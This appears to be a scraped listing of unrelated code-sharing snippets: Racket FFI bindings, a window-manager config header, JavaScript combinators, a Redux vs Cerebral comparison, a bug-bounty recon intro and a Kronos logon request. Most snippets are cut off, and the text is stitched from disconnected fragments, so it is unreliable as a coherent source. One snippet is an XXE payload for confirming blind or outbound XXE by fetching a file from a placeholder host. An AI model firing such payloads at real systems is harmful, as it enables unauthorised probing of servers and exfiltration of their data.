This guide will demonstrate how to mirror an SVN into a Git repo. You're the target audience if you're an SVN user, just getting started with Git and need to coax your project team over to Git.
The branching scenario has been simplified for clarity.
| #lang racket | |
| (require ffi/unsafe | |
| ffi/unsafe/define) | |
| (define-ffi-definer define-libevent (ffi-lib "libevent")) | |
| ; Event Base | |
| (define evbase-ptr (_cpointer 'evbase)) | |
| (define-libevent event_base_new (_fun -> evbase-ptr)) | |
| (define-libevent event_base_dispatch (_fun evbase-ptr -> _void)) |
| ;;;; -*- Mode: Lisp -*- | |
| ;; 20130620 (WBZ) This version of my .stumpwmrc is the culmination | |
| ;; of several days of study, experimentation, and asking of help | |
| ;; from others. (Beginning on 20130609.) | |
| ;; | |
| ;; This file is called "~/bin/stump/my.stumpwmrc" and is symbolically | |
| ;; linked as follows: | |
| ;; | |
| ;; $ cd; ln -s ~/bin/stump/my.stumpwmrc .stumpwmrc |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| #!/usr/bin/env python | |
| import random | |
| import struct | |
| import sys | |
| # Most of the Fat32 class was cribbed from https://gist.github.com/jonte/4577833 | |
| def ppNum(num): | |
| return "%s (%s)" % (hex(num), num) |
Redux was developed to achieve hot reloading global state and state changing logic. To achieve that it was necessary for state changes to be run with pure functions and the state has to be immutable. Now you can change the logic inside your reducer and when the application reloads Redux will put it in its initial state and rerun all the actions again, now running with the new state changing logic.
Cerebral had no intention of achieving hot reloading. Cerebral was initially developed to give you insight into how your application changes its state, using a debugger. In the Redux debugger you see what actions are triggered and how your state looks after the action was handled. In Cerebral you see all actions fired as part of a signal. You see asynchronous behaviour, paths taken based on decisions made in your state changing flow. You see all inputs and outputs produced during the flow and you even
| const I = x => x | |
| const K = x => y => x | |
| const A = f => x => f (x) | |
| const T = x => f => f (x) | |
| const W = f => x => f (x) (x) | |
| const C = f => y => x => f (x) (y) | |
| const B = f => g => x => f (g (x)) | |
| const S = f => g => x => f (x) (g (x)) | |
| const S_ = f => g => x => f (g (x)) (x) | |
| const S2 = f => g => h => x => f (g (x)) (h (x)) |
I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6
apt-get update && apt-get install gdb
GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.
You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.
$ python githubcloner.py --org organization -o /tmp/output| # Logs on to Kronos WFC using an XML request | |
| # Written as an example for https://stackoverflow.com/a/46776518/3357935 | |
| import requests | |
| url = "http://localhost/wfc/XmlService" | |
| headers = {'Content-Type': 'text/xml'} | |
| data = """<Kronos_WFC version = "1.0"> | |
| <Request Object="System" Action="Logon" Username="SomeUsername" Password="SomePassword" /> | |
| </Kronos_WFC>""" |